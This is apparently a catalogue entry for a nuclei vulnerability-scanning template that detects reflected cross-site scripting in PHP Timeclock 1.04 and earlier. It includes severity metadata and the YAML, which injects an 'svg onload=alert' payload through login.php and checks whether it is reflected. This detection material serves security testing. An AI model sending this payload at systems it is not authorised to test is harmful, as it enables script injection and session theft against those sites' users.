php-timeclock-xss: PHP Timeclock <=1.04 - Cross-Site Scripting
- Template: php-timeclock-xss
- Name: PHP Timeclock <=1.04 - Cross-Site Scripting
- Description: PHP Timeclock 1.04 and prior contains multiple cross-site scripting vulnerabilities via login.php, timeclock.php, reports/audit.php. and reports/timerpt.php
- Severity: high
- Authors: pikpikcu
- Tags: xss, php, timeclock, edb, intrusive, vuln
- References: https://www.exploit-db.com/exploits/49853
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/php-timeclock-xss.yaml
- Digest: 4a0a00473045022100cfb64c2a98c2aa8e3b3d30a35a9dd3e5224f757bf989c7fa43e8f7b3ad3a317c02206881c753c42664dd4242418aab6dcdc1b4b09bc25941d8742503864eabcccc08
- Created at: 2021-06-10T09:27:05Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1992
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/php-timeclock-xss.yaml
- Checked, none or zero: cves, verified, products
- Not known: impact, remediation
Classification
- Cwe: CWE-79
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Not known: epss score, epss percentile, cpe
Metadata
- Max-request: 1
Labels
- Name: PHP Timeclock - Cross-Site Scripting
- Impact: Attackers can execute arbitrary script in victim's browser, potentially stealing session cookies or performing actions on behalf of the user.
- Remediation: Update to the latest version of PHP Timeclock.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim must visit a crafted URL or interact with a malicious page
- Labels source: securitycontext
- Not known: from cve
```yaml
id: php-timeclock-xss
info:
name: PHP Timeclock <=1.04 - Cross-Site Scripting
author: pikpikcu
severity: high
description: PHP Timeclock 1.04 and prior contains multiple cross-site scripting vulnerabilities via login.php, timeclock.php, reports/audit.php. and reports/timerpt.php
reference:
- https://www.exploit-db.com/exploits/49853
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
tags: xss,php,timeclock,edb,intrusive,vuln
http:
- method: GET
path:
- "{{BaseURL}}/login.php/'%3E%3Csvg/onload=alert%60{{randstr}}%60%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<svg/onload=alert`{{randstr}}`>"
- "PHP Timeclock Admin Login"
part: body
condition: and
- type: word
words:
- "text/html"
part: header
digest: 4a0a00473045022100cfb64c2a98c2aa8e3b3d30a35a9dd3e5224f757bf989c7fa43e8f7b3ad3a317c02206881c753c42664dd4242418aab6dcdc1b4b09bc25941d8742503864eabcccc08:922c64590222798bb761d5b6d8e72950
```